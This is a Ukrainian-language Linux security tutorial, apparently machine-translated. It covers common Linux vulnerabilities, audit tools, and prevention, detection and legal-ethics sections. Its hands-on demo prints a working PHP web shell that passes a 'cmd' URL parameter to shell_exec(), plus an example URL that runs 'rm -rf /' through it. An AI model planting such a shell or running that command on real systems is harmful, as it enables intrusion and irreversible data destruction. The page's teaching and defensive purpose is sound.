Підручник зі хакерства в Linux: Ubuntu Команди та інструменти
⚡ Розумний підсумок
Хакінг Linux — це практика пошуку та використання слабких місць у системах Linux, і на цій сторінці пояснюється, на які вразливості спрямовані зловмисники, які інструменти аудиту використовуються, а також засоби контролю, що захищають сервер.
Linux — найпоширеніша серверна операційна система, особливо для веб-серверів. Вона має відкритий вихідний код, а це означає, що кожен може прочитати вихідний код. Така прозорість працює в обидва боки: розробники використовують її для швидкого пошуку та виправлення недоліків, тоді як зловмисники вивчають той самий код у пошуках слабких місць для використання. Хакерство в Linux — це практика використання цих слабких місць для отримання несанкціонованого доступу до системи.
У розділах нижче розглядається, що таке Linux, які вразливості безпеки на нього впливають, а також практичний погляд на хакерство за допомогою Ubuntu, а також контрзаходи, які ви можете вжити.
Коротка примітка про Linux
Linux — це операційна система з відкритим вихідним кодом. На ній побудовано багато дистрибутивів, зокрема Red Hat Enterprise Linux, Fedora, Debian та UbuntuОскільки вихідний код опубліковано, дослідники, постачальники та зловмисники можуть його перевірити. Зловмисники використовують цей доступ для пошуку вразливостей, які можна експлуатувати, тоді як та сама видимість дозволяє розробникам розробки випускати виправлення швидше, ніж це часто вдається закритим платформам. Linux працює як операційна система для серверів, настільних комп'ютерів, планшетів або мобільних пристроїв.
Програмами Linux можна керувати через графічний інтерфейс або з командного рядка. Робота в командному рядку швидша та точніша, ніж клікання по графічному інтерфейсу, тому тестувальники безпеки, які працюють над такими дистрибутивами, як Kali Linux проводять майже весь свій час у терміналі. Тому знання основних команд є практичною передумовою.
Зверніться до цього Підручник з Linux для основ, і для Kali Linux підручник для дистрибутиву, орієнтованого на безпеку, побудованого на їх основі.
Поширені вразливості безпеки Linux та вектори атак
Атаки на Linux рідко покладаються на екзотичні експлойти. Телеметрія, опублікована протягом 2025 та 2026 років, показує, що більшість компрометацій tracповертаємося до невеликого набору повторюваних слабких місць, і їх знання підказує вам, куди спочатку витрачати захисні зусилля.
- Слабкі або повторно використані облікові дані SSH — спроби грубої сили та вилучення облікових даних через SSH, підключений до Інтернету, становлять переважну більшість ворожої активності, що спостерігається на кінцевих точках Linux.
- Невиправлені недоліки ядра та пакета — команда розробників ядра Linux стала органом з нумерації CVE у 2024 році, а кількість зареєстрованих CVE ядра зросла приблизно з 290 у 2023 році до понад 3,500 наступного року, тому відставання від патчів швидко накопичується.
- Неправильна конфігурація — облікові записи за замовчуванням, непотрібні демони, файли, придатні для запису всім, та дозвільні правила sudo надають привілеї, для отримання яких не було потрібно жодного експлойту.
- Вразливі веб-додатки — такі недоліки, як SQL injection а міжсайтовий скриптинг дозволяє зловмиснику отримати доступ до сервера через додаток, а не через операційну систему. Веб-оболонки є найпоширенішим шкідливим артефактом, що виявляється на скомпрометованих серверах Linux.
- Помилки ескалації привілеїв — локальні недоліки, які перетворюють обмежений обліковий запис на root. Деякі з них залишалися непоміченими в ядрі понад десять років до розкриття.
- Ризик ланцюга поставок та залежності — сторонні пакети, мовні бібліотеки та образи контейнерів завантажують код, який ніхто з операційної команди не перевірив.
Жоден з цих випадків не вимагає від зловмисника зломити сам Linux. Аналіз вторгнень у 2025 році показав, що приблизно чотири з п'яти взагалі не стосувалися шкідливого програмного забезпечення, а натомість покладалися на неправильну конфігурацію та викрадені облікові дані.
Інструменти злому Linux
Тестери безпеки та системні адміністратори використовують одні й ті ж сканери: одна сторона, щоб знайти слабкі місця до того, як це зробить зловмисник, інша, щоб підтвердити, що виправлення актуальні. Наведені нижче інструменти найчастіше використовуються для аудиту хоста Linux.
| Інструмент | тип | ліцензія | Типове використання в Linux |
| Нессус | Сканер уразливостей | Комерційний | Сканує налаштування конфігурації, відсутні виправлення та мережеві служби в змішаних середовищах. |
| Nmap | Сканер мережі та портів | Відкрите джерело | Визначає хости, що працюють на сервері, служби, які вони надають, та відкриті порти. |
| Lynis | Аудит та посилення безпеки хоста | Відкрите джерело | Здійснює аудит працюючої системи на відповідність тестам підвищення надійності та повідомляє про конкретні кроки щодо виправлення. |
| OpenVAS | Сканер уразливостей | Відкрите джерело | Сканування мережевих вразливостей, яке підтримується Greenbone як частина Community Edition. |
Цей список не є вичерпним; він дає уявлення про інструменти, доступні для аудиту Ubuntu та інші системи Linux. Старіші посібники все ще рекомендують SARA, помічника з досліджень аудитора безпеки, але його останній випуск датується 2009 роком, а сайт його проекту не працює, тому Лініс та OpenVAS є підтримуваними альтернативами.
Хакерська діяльність: зламати a Ubuntu Система Linux з використанням PHP
У цьому практичному сценарії ми розглянемо, як можна отримати доступ до хоста Linux через веб-застосунок, використовуючи PHP як приклад. Жодна реальна жертва не є ціллю. Якщо ви хочете спробувати, встановіть LAMPP, збірку XAMPP для Linux, на свій комп'ютер.
PHP постачається з двома функціями, які можна використовувати для виконання команд операційної системи: exec() та shell_exec(). Функція exec() повертає останній рядок виводу команди, тоді як shell_exec() повертає весь результат команди у вигляді рядка.
Для демонстрації припустимо, що зловмиснику вдалося завантажити наступний файл на веб-сервер.
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
ТУТ,
Наведений вище скрипт отримує команду з GET-змінної з назвою cmd. Команда виконується за допомогою shell_exec(), а результат повертається у браузер.
Наведений вище код можна використати за допомогою наступного URL
http://localhost/cp/konsole.php?cmd=ls%20-l
ТУТ,
- «…konsole.php?cmd=ls%20-l» присвоює значення ls –l змінній cmd.
Команда на Ubuntu тому сервер виконується як
shell_exec('ls -l') ;
Виконання наведеного вище коду на веб-сервері дає результат, подібний до наступного.
Вивід просто відображає файли в поточному каталозі та їхні дозволи.
Тепер припустимо, що зловмисник передає наступну команду.
rm -rf /
ТУТ,
- «rm» видаляє файли.
- «rf» змушує команду rm виконуватися в рекурсивному режимі, видаляючи всі папки та файли.
- «/» вказує команді розпочати видалення з кореневого каталогу.
Напад URL виглядало б приблизно так
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
Таким чином, одного невалідованого параметра достатньо, щоб передати зловмиснику будь-які привілеї, які має обліковий запис веб-сервера. Два наступні розділи існують для того, щоб запобігти цьому та виявити це, коли запобігання не спрацює.
Як запобігти хакерським атакам Linux
Хакерство Linux використовує вразливості в операційній системі та програмному забезпеченні, що працює поверх неї. Організація може застосувати наступні засоби контролю разом, щоб закрити більшість описаних вище вразливостей.
- Управління патчем — патчі виправляють помилки, які зловмисники використовують для компрометації системи. Визначена політика гарантує, що відповідні оновлення застосовуються негайно, а не щоразу, коли хтось згадає.
- Правильна конфігурація ОС — вимкніть неактивні облікові записи користувачів та непотрібні демони. Змініть налаштування за замовчуванням, включаючи імена користувачів за замовчуванням, паролі спільних програм та номери портів за замовчуванням.
- Зміцнення SSH — вимкнути автентифікацію за допомогою входу та пароля root, дозволити лише іменованих користувачів або групи та обмежити повторні спроби автентифікації. Це закриває найбільш атаковану точку входу в Linux.
- Найменший привілей — надавати обліковим записам і сервісам лише ті права, які їм потрібні, та обмежувати sudo певними командами замість загального адміністративного доступу.
- Обов'язковий контроль доступу — збережіть SELinux (родина Red Hat) або AppArmor (Debian та Ubuntu) у режимі примусового виконання, щоб скомпрометований сервіс не міг дістатися до решти системи.
- Перевірка вводу — наведена вище демонстрація працює лише тому, що дані запиту досягають функції оболонки. Ніколи не передавайте введені користувачем дані до exec() або shell_exec().
- Брандмауери та сегментація — надавати доступ лише тим портам, які дійсно потрібні сервісу, використовуючи брандмауер та сегментацію мережі для обмеження доступу скомпрометованого хоста.
- Системи виявлення вторгнень — такі інструменти можна використовувати для виявлення несанкціонованого доступу до системи, а деякі з них можуть також блокувати спробу.
- Перевірені резервні копії — офлайн-резервні копії з можливістю відновлення перетворюють руйнівну команду, як-от наведену вище, на збій, а не на безповоротну втрату.
Як виявити скомпрометовану систему Linux
Профілактика зрештою не спрацьовує, тому друге питання полягає в тому, як швидко ви це помітите. Виявлення в Linux залежить від збору правильних доказів до інциденту, а не після нього.
- Реєстрація аудиту — система аудиту ядра, auditd, записує використання привілеїв, доступ до файлів та системні виклики у формі, яку скомпрометований процес не може непомітно переписати. Пересилайте ці журнали з хоста до центрального збирача.
- Журнали автентифікації — серія невдач, за якою йде один успіх у /var/log/auth.log або /var/log/secure, є класичним сигнатурним перебором.
- Несподівані процеси та зв'язки — служба прослуховування або вихідне з’єднання, яке ніхто не може пояснити, заслуговує на негайне розслідування.
- Контроль цілісності файлів — інструменти, що хешують системні бінарні файли та файли конфігурації, позначають зміни у файлах, які ніколи не повинні змінюватися.
- Заплановані завдання та елементи автозавантаження — персистентність зазвичай знаходиться в завданнях cron, модулях systemd або скриптах профілю оболонки.
- Нові або змінені облікові записи — шукайте незнайомих користувачів, будь-який другий обліковий запис з UID 0 та SSH-ключі, які ніхто не додавав.
- Каталоги веб-сервера — оскільки веб-оболонки є найпоширенішим шкідливим файлом, що знаходиться на серверах Linux, неочікувані файли скриптів у веб-кореневій папці заслуговують на пильну увагу.
- Планові аудити — запускайте інструмент аудиту хоста, такий як Lynis, за розкладом і розглядайте кожен звіт як список робіт, а не як одноразову дію.
Якщо ви знайдете докази компрометації, ізолюйте хост, збережіть журнали та образ диска, перш ніж щось змінювати, та перебудуйте систему з носія, на якому вона точно працює, замість того, щоб намагатися очистити працюючу систему. Аспект обробки доказів цієї роботи розглядається в цифрова криміналістика.
Правові та етичні межі хакерства в Linux
Кожен метод на цій сторінці є законним для застосування на системах, які вам належать або на які ви маєте письмовий дозвіл на тестування, і незаконним майже скрізь в інших системах. Наведена вище вправа навмисно спрямована на локальну інсталяцію саме з цієї причини.
- Письмове уповноваження — підписаний обсяг, узгоджене вікно тестування та названа контактна особа — це те, що відрізняє тест на проникнення від правопорушення. Усного схвалення недостатньо.
- Залишайтеся в межах видимості — хости, діапазони адрес та методи, які не перелічені, заборонені, навіть якщо вони доступні.
- Обережно поводьтеся з даними — докази, зібрані під час тесту, все ще містять реальні персональні дані та повинні зберігатися надійно, а потім знищуватися.
- Відповідально повідомляти — розкрийте висновки власнику та дайте час на виправлення, перш ніж публікувати щось.
Юридичний ризик реальний: несанкціонований доступ до комп’ютерної системи є кримінальним злочином згідно з такими законами, як Закон США про комп’ютерне шахрайство та зловживання та Закон Великої Британії про комп’ютерне зловживання. Якщо ви хочете побудувати кар’єру на цих навичках, оберіть визнаний шлях — сертифікат безпеки плюс лабораторія, якою володієте ви, а не чийсь сервер.


